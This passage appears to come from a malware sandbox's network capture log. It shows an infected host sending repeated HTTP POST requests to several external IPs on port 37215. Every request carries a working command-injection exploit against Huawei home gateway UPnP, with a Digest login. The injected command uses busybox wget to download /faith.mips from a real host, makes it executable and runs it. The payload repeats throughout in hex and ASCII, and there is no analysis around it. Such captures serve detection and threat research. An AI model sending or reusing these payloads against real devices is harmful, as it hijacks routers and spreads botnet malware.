6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:37.180716991 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:40.956631899 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:48.380727053 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:03.228677988 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:34.460513115 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.13	46160	41.44.194.104	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:33.808439970 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:34.149197102 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.13	56856	156.224.11.140	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:36.466701031 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:38.044749975 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:39.900614023 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 